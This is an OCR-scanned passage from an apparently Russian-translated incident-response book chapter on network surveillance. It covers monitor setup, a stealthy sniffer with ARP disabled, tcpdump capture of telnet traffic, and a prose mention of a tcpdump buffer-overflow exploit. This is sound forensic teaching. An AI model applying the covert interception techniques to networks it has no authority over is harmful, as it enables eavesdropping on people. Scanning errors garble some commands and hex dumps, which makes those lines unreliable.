ter, ICQ и Instant Messenger, и онлайновые игры, такие как EverQuest, явля-
ются активными генераторами трафика Интернета. По мере разработки но-
вых приложений и протоколов становится все труднее отвечать на такие во-
просы, как "Почему машина Боба выдает 20 пакетов UDP по IP адресу в
Китае каждые 20 или 30 с?" Хотя это может быть не тот вопрос, на который
необходимо ответить, для некоторых организаций такой сценарий дает
основание для расследования. Мы встречаем новые виды причудливого или
необычного трафика почти каждый раз при выполнении сетевого наблюде-
ния. В большинстве случаев причудливый трафик прослеживается до новых
программных пакетов или до недокументированного поведения некоторых
обычных протоколов. Но иногда встречается серьезная атака.
Кастинг героев Интернета
Приблизительно 300 млн человек использовали Интернет в то или иное
время. Следуя теории, что как минимум 5% общей популяции следуют своим
нездоровым замыслам, мы оцениваем, что около 15 млн "плохих" пользова-
телей Интернета входят в их число. Из этих 15 млн мы произвольно опреде-
ляем, что 90% являются мелкими мошенниками (мелкими хакерами), что
приводит к 1.5 млн элитных атакующих, выполняющих грязные и зловред-
ные действия в сети во всем мире. Сетевое наблюдение и правильная сете-
вая судебная экспертиза являются существенно важными при поимке этих
злоумышленников.
НАГЛЯДНЫЙ ПРИМЕР
При выполнении сетевого наблюдения в пострадавшей сети для опреде-
ления, что использовалась программа черного хода SubSeven, я заметил,
что пакеты TCP и UDP периодически "проплывают" из пострадавшей
сети с одного из ее хостов. Беспокоясь, что эти пакеты могут быть сигна-
льными пакетами некоторого вида (обычные сегодня для программ чер-
ного хода), я выполнил поиск по IP адресу места назначения. Результат:
система с именем redpup.real.com получала трафик из системы. Я выпол-
нил надежную команду fport на целевом хосте (показанную на следующей
иллюстрации), чтобы проверить, что какие то порты в системе слушают.
Приложение RealPlayer посылало статистику о производительности на
сервер. Просто невозможно знать, какое приложение будет генериро-
вать подозрительный сетевой трафик.

172
Глава 7
Операционная система Windows позволяет процессу использовать
потоки выполнения другого процесса. Иначе говоря, когда выполняется
приложение, оно может обращаться к другому приложению для осущест-
вления некоторых функций. Многие программы типа троянского коня,
такие как BackOffice, используют вызов API CreateRemoteThread в Win-
dows, чтобы заставить другой процесс выполнить зловредное предназна-
чение троянского коня. Поэтому для этого процесса realplay.exe было
возможно выполнение действий, для которых исходный исполнимый
файл RealPlayer не был предназначен. Однако в данном конкретном слу-
чае сетевое наблюдение подтвердило, что подозрительный трафик был
просто "сообщениями домой" от RealPlayer.
НАСТРОЙКА СИСТЕМЫ
Сетевые диагностические инструменты на основе аппаратуры и програм-
много обеспечения, сенсоры IDS и утилиты перехвата пакетов имеют свои
специальные предназначения. Аппаратура сетевой диагностики и поиска
неисправностей может надежно захватывать данные. Она эффективна для
захвата всех данных контролируемого сетевого сегмента.
Однако инструменты сетевой диагностики и поиска неисправностей
имеют существенные недостатки, которые делают их неподходящими для
выполнения сетевого наблюдения. Например, они не имеют возможностей
удаленного управления и подходящего пространства памяти. Как правило,
они стоят очень дорого. Для того чтобы найти решения для обнаружения
вторжений, обращаются к проблемам удаленного управления и хранения.
Но эти платформы не могут надежно выполнять работу по обнаружению
вторжения и сетевого наблюдения одновременно. До сих пор в организа-
циях распространено использование сенсоров IDS в качестве устройств се-
тевого мониторинга. Помните просто, что если сенсор IDS настроен для
выполнения захвата всего содержимого, то его эффективность как сенсора
будет снижаться.
Настройка устройства сетевого анализатора для выполнения сетевого
наблюдения требует некоторого планирования и подготовки. Возможность
развертывания монитора может зависеть от сетевой архитектуры, контро-
лируемой полосы пропускания, а также внешних влияний, таких как корпо-
ративные политики и деньги.
Если требуется создать надежную систему сетевого наблюдения, необхо-
димо придерживаться следующих рекомендаций:
Определите цели для выполнения сетевого наблюдения.
Убедитесь, что имеются подходящие законные основания для выпол-
нения действий по мониторингу.
Приобретите и установите необходимое оборудование и програм-
мное обеспечение.
Обеспечьте электронную и физическую безопасность платформы.
Обеспечьте подходящее размещение монитора в сети.

Выполнение сетевого наблюдении
173
Упущение в одном из этих пунктов может привести к созданию ненадеж
ных и неэффективных средств наблюдения в организации.
Определение целей
Первый шаг выполнения сетевого наблюдения состоит в определении, за-
чем оно делается. Уточните цели мониторинга всего содержимого, так как
они будут влиять на оборудование, программное обеспечение и фильтры, ко-
торые используются для сбора доказательств. Намерены ли вы:
Наблюдать за входящим и исходящим трафиком определенного хоста?
Контролировать входящий и исходящий трафик определенной сети?
Контролировать действия определенного человека?
Проверять попытки вторжения?
Искать сигнатуры определенных атак?
Сосредоточиться на использовании определенного протокола?
Когда цели сетевого наблюдения определены, убедитесь, что им соот-
ветствуют используемые политики. Например, будет совершенно неправи-
льно перехватывать e mail сотрудников без причины. Однако организация
может принять политику, в которой при определенных обстоятельствах
e mail сотрудников попадает под наблюдение. Убедитесь, что данные поли-
тики четко определены до начала наблюдения.
Пример инцидента
Джон является плохим, но грамотным парнем. Хотя он занимается дет-
ской порнографией, он знает как обмануть закон и избежать обнаруже-
ния. В частности, он придерживается идеи правдоподобного отрицания
(plausible deniability), поэтому, подобно всем способным преступникам,
он решил построить свою безопасность на предупреждении своей поим-
ки. Он намеренно делает систему уязвимой для неконтролируемого ис-
пользования, устанавливая программу черного хода SubSeven. Его до-
машняя машина имеет постоянное кабельное соединение с сетью.
Поэтому его система будет широко открыта для атакующих, и они смогут
сделать на его машине все, что захотят. Он продолжает торговать дет-
ской порнографией. При этом он считает, что если будет пойман, то
сможет притвориться и сказать, что не распространяет детскую порно-
графию. Если правоохранительные органы найдут в его системе троян-
ского коня SubSeven, то имеет ли он действительное алиби?
Его алиби будет значительно слабее, если начать сетевое наблюдение
до ареста его машины. Вы сможете определить режим транспортировки
Джоном запрещенных изображений, и возможно сможете доказать, что
черный ход SubSeven не использовался, когда Джон посылал изображе
ния другому человеку. А что если Джон действительно использовал свой
собственный черный ход, чтобы представиться жертвой? Все по прежне
му сводится к пассивному мониторингу. Если вы засвидетельствуете, от
куда инициируется соединение SubSeven, вы все равно будете иметь
следственную улику.

174
Глава 7
Наведите справки у юрисконсульта
Юристы правят нашим миром. Всегда наводите справки у юрисконсульта,
прежде чем начинать любое сетевое наблюдение. Даже если ваша система
является жертвой удаленного компьютерного вторжения, атакующий "John
Doe" может иметь право на секретность в ваших сетях.
Выбирайте подходящее оборудование
Выберите стабильную, надежную систему и выделите ее для сетевого наблю-
дения. Первый шаг для выполнения этого состоит в выборе надежного обо-
рудования. Мы использовали ноутбуки, настольные системы и встраиваемые
системы для сетевого наблюдения с различной степенью успеха. Системы на
основе ноутбука оказываются предпочтительными, так как являются перено-
симыми, имеют встроенный дисплей и встроенную систему бесперебойного
электропитания. Кроме того, они могут быть легко физически защищены.
К недостаткам относится недоступность специализированного сетевого
оборудования и ограничения по локальной памяти. Если необходимо конт-
ролировать, например сети token ring, то используйте карту PCMCIA to-
ken ring, которая может применяться в беспорядочном режиме.
ВНИМАНИЕ Локальная память становится менее существенным вопросом, так
как емкость дисков ноутбуков растет со скоростью только немного
меньшей, чем у их полноразмерных аналогов. Встраиваемые систе-
мы выигрывают в категориях внешнего вида и "особенных характе-
ристик", но если будет постоянное или контролирующее WAN
решение, усилия и стоимость обычно являются непомерно высоки-
ми. Кроме того, не должно ли решение о форм факторе основыва-
ться на числе систем, которое может поместиться в багажнике
джипа?
Система, выполняющая мониторинг, должна быть как минимум маши-
ной класса Пентиум с 450 МГц или больше. Обеспечьте, чтобы машина
имела по крайней мере 256 Мбайт оперативной памяти. Если локальный
сегмент работает со скоростью Fast ethernet (100 Мбайт/с), то рекоменду-
ется использовать 512 Мбайт оперативной памяти или больше. Запомните,
чем больше оперативной памяти, тем лучше будет работать сетевой монитор.
СОВЕТ
Если вы собираетесь выполнять монитор на процессоре Sparc (воз-
можно, с помощью Snoop), система старше Sparc 20, осуществляю-
щая Solaris, будет увеличивать вероятность потерянных пакетов.
Требования к памяти для этого монитора должны быть такими же,
как и для платформы Intel.
Объем пространства жесткого диска, требуемого системе, зависит от осо-
бенностей фильтров и объема сетевого трафика, пересекающего контроли-
руемый сегмент. Дисковое пространство становится все дешевле, поэтому
используйте по меньшей мере диск 20 Гбайт на ноутбуке и диск 60 Гбайт
в настольной системе. Другими словами, купите большой диск. Можно спра-
виться с дефицитом памяти, непрерывно пересылая перехваченные файлы

Выполнение сетевого наблюдения
175
во внешнее хранилище. Хороший подход состоит в периодическом пере-
носе двоичных файлов на внешний Iomega Zip, Jaz или жесткий диск для
дублирования на случай непредвиденной ситуации. Не забудьте контроли-
ровать доступ и поддерживайте подходящий порядок хранения для любой
внешней среды хранения или дисках, используемых для хранения резерв-
ных копий журналов наблюдения.
Выберите подходящее программное обеспечение
Возможно, наиболее трудной задачей при сборке сетевой платформы для
наблюдения является выбор программного обеспечения для его выполне-
ния. Утилиты мониторинга могут стоить больших денег, и могут понадоби-
ться различные инструменты для выполнения различных операций. Вы об-
наружите, что многие бесплатно доступные инструменты для перехвата
сетевого трафика будут такими же или лучше, чем их коммерческие анало-
ги, хотя коммерческие инструменты обычно превосходят бесплатно до-
ступные утилиты, когда речь идет об анализе и интерпретации перехвачен-
ного трафика.
Каждая из бесплатно доступных и коммерческих утилит предлагает то, что
отсутствует в других утилитах. Поэтому необходимо знать, что необходимо
получить при сетевом наблюдении, прежде чем чтото покупать. На выбор
программного обеспечения могут влиять следующие факторы:
Какая операционная система хоста будет использоваться?
Хотите ли вы осуществлять удаленный доступ к монитору или будете
выполнять его только с консоли?
Хотите ли вы реализовать "молчаливый" сетевой адаптер?
Нужна ли переносимость захваченных файлов?
Каков уровень технической подготовки лиц, ответственных за мони-
тор?
Сколько данных перемещается в сети?
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Сетевой анализатор Ethernet компании Network Associates: http://www.nai.com
Surveyor/Explorer компании Shomiti Systems: http://www.shomiti.com
Lan Analyzer компании Agilent Technologies: http://onenetworks.comms.agilent.com/
lananalyzer/default.asp
eTrust Intrusion Detection компании Computer Associates: http://www.cai.com/
acq/sessionwall/
Операционная система
Важно осуществить правильный выбор подходящей операционной системы.
Некоторые операционные системы хорошо подходят для выполнения сетево-
го анализа. Логика диктует, конечно, что чем больше времени центрального
процессора и операций ввода вывода доступно для приложения сетевого

176
Глава 7
мониторинга, тем лучше система будет действовать при большой сетевой
нагрузке.
Среди множества испробованных систем стабильная платформа UNIX
превосходит все остальные. В частности, операционная система NetBSD
предоставила наиболее эффективную рабочую среду для перехвата, так как
разработчики упростили перемещение сетевых кадров из пространства па-
мяти ядра (точки перехвата) до пространства памяти пользователя (точки
хранения). При построении платформы мониторинга проверьте, что вы
исключили все приложения и процессы, которые несущественны для рабо-
ты ОС, анализатора и административных функций, включая любые графи-
ческие среды пользователя. Нежелательно упустить пакеты, потому что
центральный процессор занят перемещением пиктограммы по экрану.
Удаленное управление
Если требуется удаленный доступ к монитору, то существует несколько воз-
можностей. Можно установить второй сетевой адаптер и присоединить его
к отдельной сети или к VLAN (виртуальной LAN), а затем задать програм-
мное обеспечение для удаленных команд, такое как OpenSSH. Необходимо
ограничить входящие IP адреса теми сайтами, которые находятся под вашим
контролем. Другой возможностью является доступ к системе через модем-
ную линию для коммуникации "вне полосы", или коммуникации, которая не
может легко перехватываться атакующим. Обеспечьте безопасность удален-
ного доступа через модем, требуя как минимум аутентификации с помощью
идентификатора пользователя/пароля. Можно также сконфигурировать
удаленный доступ через модемную линию таким образом, что принимаются
только те вызовы, которые приходят с определенных телефонных номеров.
Поскольку злоумышленнику трудно стереть доказательства, о которых
он не знает, реализация молчаливого сетевого анализатора является самым на-
дежным способом помешать злоумышленнику обнаружить систему монито-
ринга. Молчаливый сетевой анализатор является системой, которая не бу-
дет отвечать на любые получаемые ей пакеты: направленные датаграммы
IP, широковещание или мультивещание. Многие коммерческие приложе-
ния сетевых анализаторов будут конфигурировать сетевые адаптеры, пере-
водя интерфейс прослушивания в "невидимый режим".
Чтобы добиться "максимальной невидимости", необходимо сконфигури-
ровать интерфейс для общения только на TCP/IP. Некоторые другие прото-
колы, такие как NetBIOS, создают много трафика, который будет компроме-
тировать расположение монитора. Системы UNIX конфигурируются с
самого начала для коммуникации только через TCP/IP. В системах Windows
необходимо убедиться, что вы отсоединились От всех протоколов (NetBIOS
и IPX) за исключением TCP/IP. Необходимо также запретить системе отве-
чать на пакеты ARP (Протокол разрешения адреса), иначе атакующий смо-
жет обнаружить монитор. Большинство систем UNIX поддерживают пара-
метры командной строки в ifconfig для выключения ARP для слушающего
интерфейса. Если программное обеспечение мониторинга требует IP адрес
на слушающем интерфейсе, присвойте системе нулевой IP адрес (0.0.0.0).

Выполнение сетевого наблюдения
177
НАГЛЯДНЫЙ ПРИМЕР
Программисты в компании Foundstone (http://www.foundstone.com) из-
готовили программу, которая создает удаленную оболочку для черного
хода на машинах, выполняющих tcpdump версии 3.5. Это "коварное тво-
рение" (по словам автора этой программы незаконного использования),
так как оно использует для переполнения 128 байтный буфер, в то время
как код буфера переполнения большинства оболочек около 150 байт. Эта
программа переполняет буфер с помощью функции sscanf, которая ана-
лизирует пакеты управления доступом к файловой системе Andrew
(AFS). Аналогичная программа была написана для Ethereal, которая ис-
пользует такой же процессор захвата пакетов, как и tcpdump.
Другим способом реализации молчаливого монитора является использо-
вание однонаправленного кабеля Ethernet. Многие агентства отсоединяют
передающие провода в своей сетевой проводке, что предлагает дешевый,
но эффективный способ минимизации возможностей обнаружения систе-
мы сетевого анализа или ее использования. Однонаправленное соединение
защищает машину от любых интерактивных атак. До развертывания мони-
тора желательно выполнить на системе сканер портов (такой как Nmap), a
также утилиту обнаружения сетевого анализатора (такую как AntiSniff от
LOpht).
Форматы файлов данных
При выборе утилиты мониторинга всего содержимого будет благоразумно
рассмотреть, как сохраняется перехваченная в системе информация. Боль-
шинство коммерческих приложений имеют собственные форматы файлов, что
может сделать трудной подготовку случая, когда вовлечены другие коммерче-
ские или правоохранительные организации. Выбор программного обеспече-
ния, которое создает файлы в формате открытого стандарта, убережет вас (и
других) от большой головной боли. Вот несколько примеров сетевых анализа-
торов, как коммерческих, так и бесплатно доступных, использующих свои
собственные форматы для двоичных файлов захвата, которые они создают:
Сетевые анализаторы на основе libpcap (tcpdump, Ethereal, Snort) из
Lawrence Livermore National Labs (LLNL)
Sun Solaris Snoop
IBM AIX's iptrace
HP UX's nettl (Network Tracing and Logging [NetTL] Tool)
Network Associates' Sniffer Pro
AG Group's Etherpeek
Novell's LANalyser
RADCOM's WAN/L AN Analyzer
Система обнаружения нарушения безопасности Cisco (IDS)

178
Глава 7
Помните, что помимо проверки правильной работы монитора, захват и
воспроизведение трафика никогда не выполняется одновременно. Мы со-
бираемся использовать tcpdump и WinDump для захвата трафика, показан-
ного в примерах в конце этой главы. Когда мы перейдем к фазе анализа, то
будем применять Ethereal для воспроизведения и просмотра трафика. Ис-
пользуется утилита Ethereal, так как она подпадает под действие лицензии
GNU, может читать большинство типов файлов данных сетевых анализато-
ров и может выполняться на большинстве версий Linux, Solaris, BSD и Win-
dows (а также на Tru64 [Digital UNIX], SGI Irix и IBM ADC).
Отдельные коммерческие утилиты упрощают задачи, которые могут
требовать много времени или быть трудными при использовании бесплат-
но доступного программного обеспечения. Если вы намерены реконструи-
ровать последовательность действий, выполненную на удаленном Web сай-
те, то рекомендуем вам купить высокопроизводительную утилиту сетевого
анализа. Продукт eTrust Intrusion Detection (ранее SessionWall) компании
Computer Associates является прекрасным кандидатом для этого типа задач.
eTrust Intrusion Detection может реконструировать файлы HTML и изобра-
жений, которые пересылались во время сеанса, и показать последователь-
ность действий на сайте с точки зрения пользователя.
НАГЛЯДНЫЙ ПРИМЕР
Настраивать сетевые мониторы мы начинаем с выполнения минималь-
ной установки FreeBSD 4.2 (доступной на http://www.freebsd.org) на сис-
теме ноутбука. Весь диск используется для разделов BSD. Мы создаем
метку диска BSD и используем следующие размеры разделов:
/ (корневая файловая система)
/var
/usr
swap
/data
50 Мбайт
100 Мбайт
2 Гбайт
2 х размер оперативной памяти
Оставшаяся часть диска
Затем выбирается Custom Distribution Set и отдельные пакеты для уста-
новки. Устанавливаются следующие пакеты: bin, crypto, man и ports. При
конфигурировании сети выбирается Secure Shell Daemon как единствен-
ную службу, которая должна быть активной. Таким образом, разрешает-
ся удаленный доступ к монитору с помощью безопасной оболочки.
FreeBSD позволяет выбрать во время установки уровень безопасно-
сти. Мы настоятельно рекомендуем выбрать уровень Extreme Security Set-
ting, который предоставляет очень ограниченные установки системы бе I
зопасности. Выплывающее окно информирует, что Extreme означает
просто, что все популярные сетевые службы, такие как inetd, будут по
умолчанию отключены. В меню Sturtup Services задайте все параметры
PCMCIA (pccard, pccard mem и pccard ifconfig). Выйдете из конфигура-
ции и она установит запрошенные службы и приложения.

Выполнение сетевого наблюдения
179
После перезагрузки системы выполняется команда netstat  а. Необхо-
димо убедиться, что единственной слушающей TCP/IP службой является
*.ssh. Затем инициализируется адаптер Ethernet PCMCIA с помощью
ifconfig ep0 up. Она активизирует карту Ethernet, не присваивая ей
IP адрес. (Если требуется использовать безопасную оболочку удаленного
доступа, понадобится присвоить IP адрес и сохранить включенным ARP.)
Если вы хотите отключить ARP, выполните команду ifconfig ep0  агр.
Без IP адреса или включенного ARP система будет работать незаметно.
tcpdump и Perl устанавливаются по умолчанию. Выполняется tcpdump
с помощью подходящих фильтров, необходимых для перехвата жела-
тельного трафика, tcpdump может выполнять фильтрацию даже без
IP адреса. Важно осуществлять tcpdump с параметром  п, чтобы от
ключить разрешение имен DNS, иначе кто нибудь сможет обнаружить
систему сетевого анализатора, запрашивая поиск DNS. Обычно тра-
фик обрабатывается с помощью asctcpdump.pl, Ethereal и специаль-
ных сценариев Perl, которые часто требуют тонкой настройки для
каждого отдельного инцидента. Сценарии Perl используются для раз-
деления файлов захвата по IP адресам, датам и другим полям, что не
могут делать большинство других программных инструментов.
Последнее, что мы хотели бы сделать, включает системное время.
Мы проверяем, что все другие сетевые узлы, которые зарегистрирова-
ны, имеют такое же системное время, как и установленный компьютер с
сетевым анализатором. Таким образом корреляция времени между жур-
налами на хосте и другими сетевыми журналами будет значительно про-
ще реализовать. Надо убедиться, что трафик, который монитор перехва-
тил, например в 3:44:23, зарегистрирован в то же самое время любым
другим регистрирующим устройством. Так получается подтверждение.
Расположение и безопасность монитора
Размещение сетевого монитора является наиболее важным фактором при
настройке системы наблюдения. Раньше, в старые добрые времена боль-
ших сетей с одноконфликтными доменами, можно было разместить сенсор
практически в любом месте системы и быть уверенным, что он перехватит
требуемый трафик. Более новые устройства и сетевые технологии, такие
как сетевые коммутаторы, VLANS и многоскоростные сети (10/100 Ether-
net) создали для исследователей несколько новых проблем.
Обычная цель сетевого наблюдения состоит в захвате всей активности,
связанной с определенной целевой системой. Коммутаторы будут сегмен-
тировать сеть, определяя присутствие рабочих станций на основе их адре-
сов MAC. Когда коммутатор создает таблицу связей портов и адресов MAC,
он будет посылать пакеты из порта, только если присутствует получающая
система. Это означает, например, что сетевой монитор на порте коммута-
тора 4 никогда не увидит пакеты, предназначенные для системы на порте
2 коммутатора (если только монитор не вовлечен в сеанс). Современные
коммутаторы имеют свойство, называемое анализ коммутируемых портов
или SPAN, которое позволяет одному порту коммутатора передавать все
кадры, независимо от того, обнаружил порт присутствие адреса назначе
ния на этом порте или нет.

180
Глава 7
ВНИМАНИЕ Если порт SPAN уже используется, когда вы собираетесь устанавли-
вать сетевой монитор, то имеются два варианта поведения: можно
установить концентратор, который подходит для скорости работы
коммутатора (10 или 100 Мбайт) или можно использовать отвод
Ethernet. В первом случае используйте односкоростной концентра-
тор, а не тот, который поддерживает 10 и 100 Мбайт. На большинстве
двухскоростных концентраторов скорости данных используют
различные соединительные платы, и трафик одной соединительной
платы обычно не надежно проходит на другую плату. Если применя-
ется отвод Ethernet, проверьте, что слушающий интерфейс не может
передавать, а использование отводов в дуплексной среде может вы-
звать разрушение. Shomiti Systems (http://www.shomiti.com) продает
надежные отводы для различных типов сред.
Важно также поместить систему наблюдения в физически безопасном ме-
сте. Обычно физический доступ означает логический доступ. Другими словами,
любой, кто может физически обратиться к машине наблюдения, может обма-
нуть любые имеющиеся средства программного контроля (пароли, полномо-
чия доступа к файлам и т.д.). При развертывании системы для выполнения
сетевого наблюдения необходимо поместить систему в закрытом помеще-
нии, куда могут получить доступ только определенное число доверенных
сотрудников. Помните о порядке хранения.
Обезопасьте систему обычным образом, включая отсоединение ненуж-
ных протоколов (NetBIOS, IPX) и удаление всех сетевых служб. Когда вы
посылаете команду netstat, не должно существовать никаких приложений
или демонов, слушающих порты TCP или UDP. Обратитесь к главе 3 за до-
полнительной информацией об усилении систем. ОС должна иметь воз-
можность коммуникации через IP и ничего больше.
ВЫПОЛНЕНИЕ НАБЛЮДЕНИЯ
В этом разделе описывается формальный исследовательский подход к сете-
вому наблюдению. Охватываются распространенные службы Интернета и
подробно рассматриваются два примера выполнения сетевого наблюдения
на этих службах. Вы узнаете, как распознавать обычный трафик в линии,
используя перехват telnet, пересылку файлов (протокол пересылки файлов)
и трафик Web.
Для выполнения сетевого наблюдения требуются следующие действия:
1. Перехват соответствующего сетевого трафика.
2. Воспроизведение или реконструкция подозрительного сеанса (бу-
дет ли это TCP, UDP, ICMP или другой протокол).
3. Интерпретация того, что произошло.

Выполнение сетевого наблюдения
181
Мониторинг telnet
Telnet (Telecommunication Network Protocol --- сетевой протокол телеком-
муникации) разработан в 1969 г. Telnet, являющийся стандартным почти в
любой реализации TCP/IP, был создан для обеспечения удаленного досту-
па на уровне команд между хостами, независимо от их собственных опера-
ционных систем. Варианты UNIX обычно поставляются как с клиентом tel-
net, так и с сервером telnet. Windows 9x и NT поставляются только с
клиентом telnet. Windows 2000 Professional и Server содержат сервер telnet,
который использует по умолчанию аутентификацию NTLM (NT LanMan) ---
тем самым, теоретически, снижая эффективность атак сетевого прослуши-
вания, которым так подвержены сеансы telnet UNIX. Так как Telnet был со-
здан для работы среди различных типов сред хоста, он должен согласовы-
вать некоторые параметры, такие как статус, тип терминала, размер окна,
режим линии и переменные окружения. Чтобы инициировать сеанс telnet, требу-
ется только IP адрес хоста или имя хоста, как в следующих примерах:
[root@homer taps]# telnet 192.168.0.10
[root@homer taps]# telnet shell1.martnet.com
Это по умолчанию приведет к соединению с портом 23 на удаленной ма-
шине. Чтобы соединиться с другим портом, необходимо просто добавить
выбранный номер порта в конце командной строки:
[root@homer taps]# telnet 192.168.0.10 31337
Такая команда попытается соединиться с портом 31337 на удаленной ма-
шине. Вот пример типичного сеанса telnet:
[root@homer taps]# telnet 192.168.0.110
Trying 192.168.0.110...
Connected to 192.168.0.110.
Escape character is '"]'.
Welcome to linuxserver
Linux Mandrake release 7.0 (Air)
Kernel 2.2.14 15mdkfb on an i686
login: bob
Password:
Last login: Mon Nov 6 21:31:02 from 192.168.0.210
[bob@linuxserver bob]$ w
9:32pm
up 45 min, 2 users, load average: 0.00 0.00, 0.00
USER TTY
FROM
LOGIN@
IDLE JCPU
PCPU WHAT
root tty1
8:47pm 44:42 3.89s 0.00s sh /usr/X11R6/b
bob pts/2 192.168.0.210
9:32pm 0.00s 0.05s 0.01s w
[bob@linuxserver bob]$ pwd
/home/bob
[bob@linuxserver bob]$ whoami
bob
[jsmith@pc37_linux jsmith]$ exit
logout
Connection closed by foreign host.

182
Глава 7
Как Telnet используется атакующими
Дни использования Telnet для доступа в Интернете сочтены, так как Telnet
передает весь текст в открытую (т.е. ничто не шифруется, и все передавае-
мое содержимое легко читается сетевым анализатором атакующего), вклю-
чая имена пользователей и пароли --- никакой системы безопасности. Одна-
ко, так как множество людей по прежнему используют Telnet, а украденные
учетные записи создают проблемы в Интернете, мы включили его в эту
книгу. Telnet используется обычно для соединения сайтов, поэтому созда-
ется длинный кибернетический след, который затрудняет поиск истинного
атакующего.
На рис. 7.1 изображен атакующий, использующий Telnet для доступа к сай-
ту А, к сайту В, к сайту С и затем к D, прежде чем атаковать victim.com.
victim.com
Рис. 7.1. Использование атакующими Telnet
Мы видели, что Telnet посылает каждое нажатие клавиши как отдель-
ный пакет. При таком сценарии каждое нажатие клавиши, которое делает
хакер у себя дома, передается на сайт А, сайт В, сайт С, сайт D и т.д. Если
сетевой анализатор был размещен в точке X, то все последующие действия,
которые хакер делает на сайте А, сайте В, и сайте С, перехватываются сете-
вым анализатором в точке X. Например, если атакующий нажимает клави-
шу ENTER, то нажатие клавиши посылается в одном пакете на сайт А и за-
тем на сайт В, перехватывается сетевым анализатором в точке X и
посылается в точку С. Если нажатие клавиши ENTER означает окончание
командной строки на victim.com, то ответ на команду возвращается назад
по цепочке Telnet на сайт D, сайт С, затем сайт В, через анализатор в точке X,
через точку А и выводится на экране дома у атакующего.

Выполнение сетевого наблюдения
183
Сетевой анализатор в точке X, если правильно сконфигурирован для
фильтрации, перехватывает команды, посланные жертве, а также ответы
от системы жертвы на машину атакующего.
Выполняйте сетевое наблюдение ближе к исходной точке
Лучше всего, чтобы сетевой анализатор правоохранительных органов был
расположен как можно ближе к истинному началу атаки. Если можно иден-
тифицировать сайт, через который постоянно проходит атакующий перед
атакой последующих жертв, то он является хорошим местом для реализа-
ции сетевого наблюдения всего содержимого и сбора доказательств. Вы
определите максимальное число последующих жертв и сможете наблюдать
за действиями атакующего. Другими словами, постарайтесь расположиться
как можно ближе к плохому парню, тогда вы будете иметь лучшее представ-
ление о всех его последующих действиях.
Пример инцидента
Профессор Шварц читает лекции по всему миру. Она является извест-
ным экспертом по ядерной энергетике и вовлечена во множество секрет-
ных проектов для армии США. Так как она путешествует практически
круглый год, системный администратор лаборатории разрешил доступ с
помощью telnet к ее учетной записи на работе. Во время поездки в Вос-
точную Европу профессор Шварц постоянно обращалась к своей учет-
ной записи telnet в исследовательской лаборатории.
Так как она регистрировалась из "ненадежной" сети, сетевой анализа-
тор атакующего перехватил ее учетную запись пользователя и пароль. За
несколько минут атакующий с помощью telnet вошел в учетную запись
профессора Шварц в лаборатории, получил доступ административного
уровня и загрузил свои вредоносные программы. К тому моменту, когда
системный администратор понял, что учетная запись профессора
Шварц скомпрометирована, у него возникло подозрение, что учетные за-
писи и пароли всех 100 пользователей лаборатории были похищены ата-
кующим. Кроме того, администратор понял, что десятки программ чер-
ного хода могут быть установлены на ряде его систем. Системный
администратор решил, что в дополнение в реализации некоторых новых
мер безопасности в лаборатории (смена паролей, новые методы аутенти-
фикации и шифрованные сетевые протоколы), он реализует сетевое на-
блюдение, чтобы увидеть, что атакующий делает в его сети. Он устано-
вил систему сетевого анализатора в том же сегменте сети, где находится
система жертва, и перехватывал сеансы telnet, удаляя тем самым "белый
шум" и не относящиеся к делу данные, такие как запросы ARP, график
NetBIOS, поиск DNS и трафик Web.

184
Глава 7
Перехват сеанса Telnet
Следующая командная строка tcpdump перехватывает весь трафик между
двумя хостами при условии, что машина сетевого анализатора находится в
том же сетевом сегменте, что и один из хостов. Можно было бы минимизи-
ровать фильтрацию telnet еще больше, перехватывая пакеты только на испо-
льзуемый по умолчанию порт telnet: порт 23, но мы хотим показать обмен
пакетами ARP.
[root@homer /root]#tcpdump  x  v  i eth0  s 1500  w telnet1.bin host
192.168.0.200 and 192.168.1.111
ethO: Promiscuous mode enabled.
Tcpdump: listening on ethO
96 packets received by filter
0 packets dropped by kernel
ethO: Promiscuous mode enabled.
Эта команда перехватывает весь трафик между адресами 192.168.0.200 и
192.168.0.111 и сохраняет пакеты в двоичном формате в файле с именем tel
netl.bin. Когда вы останавливаете процесс tcpdump, то tcpdump сообщает,
сколько пакетов получено и, возможно, более важно, были ли отброшены
какие либо пакеты во время мониторинга.
Так как захваченные файлы хранятся в двоичном формате, то нельзя ис-
пользовать утилиты cat и more (type для пользователей Windows) для чте-
ния захваченных файлов. Если попробовать прочитать двоичные захвачен-
ные файлы с помощью стандартных инструментов, таких как cat или more,
то будет виден испорченный текст. Захваченные tcpdump файлы можно
просматривать с помощью самой утилиты tcpdump, а также прочитать
строку за строкой с помощью команд less или mоге. Вот захваченный пакет
из первых нескольких пакетов сеанса telnet между клиентом Telnet Win-
dows (192.168.0.111) и сервером Linux Telnet (192.168.0.200). Отметим дан-
ные, представленные в шестнадцатеричном формате (строки были прону-
мерованы автором для ссылок).
[root@homer /root]#tcpdump  x  v  n  r telnet1.bin | less
1) 23:54:45.415438 arp who has 192.168.0.200 tell 192.168.0.111
2)
0001 0800 0604 0001 0060 97cc 8e8c c0a8
3)
006f 0000 0000 0000 c0a8 00c8 c8c8 c8c8
4)
c8c8 c8c8 c8c8 c8c8 c8c8 c8c8 c8c8
5) 23:54:45.415497 arp reply 192.168.0.200 is at 0:10:4b:a1:Ь8:а0
6)
0001 0800 0604 0002 0010 4ba1 b8а0 c0a8
7)
00c8 0060 97cc 8e8c c0a8 006f
8) 23:54.45.415757 192.168.0.111.1054 > 192.168.0.200,23: S
2472241593:2472241593 (0)
9) win 16384 <mss 1460,nop,nop,sack0K> (DF)
(ttl, 128, id 701)
10)
4500 0030 02bd 4000 8006 7583 c0a8 006f
11)
c0a8 00c8 041e 0017 935b 69b9 0000 0000
12)
7002 4000 bf4d 0000 0204 05b4 0101 0402

Выполнение сетевого наблюдения
185
13) 23:54:45.416232 192.168.0.200.23 > 192.168.0.111.1054:
s 90838135:90838135 (0)
14) аск 2472241594 win 32120
<mss 1460,nop,nop,sackOK> (DF) (ttl 64, id 0)
I6)
4500 0030 0000 4000 4006 b840 c0a8 00c8
16)
c0a8 006f 0017 041e 056a 1477 935b 69ba
1/)
7012 7d78 67e3 0000 0204 05b4 0101 0402
18) 23:54:45.416978 192.168.0.200.23 > 192.168.0.111.1054:
8 90838135:90838135 (0)
19) ack 2472241594 win 32120
<mss 1460, nop, nop, sack0K> (DF) (ttl 63, id 0)
20)
4500 0030 0000 4000 3f06 b940 c0a8 00c8
21)
c0a8 006f 0017 041e 056a 1477 935b 69ba
22)
7012 7d78 67e3 0000 0204 05b4 0101 0402
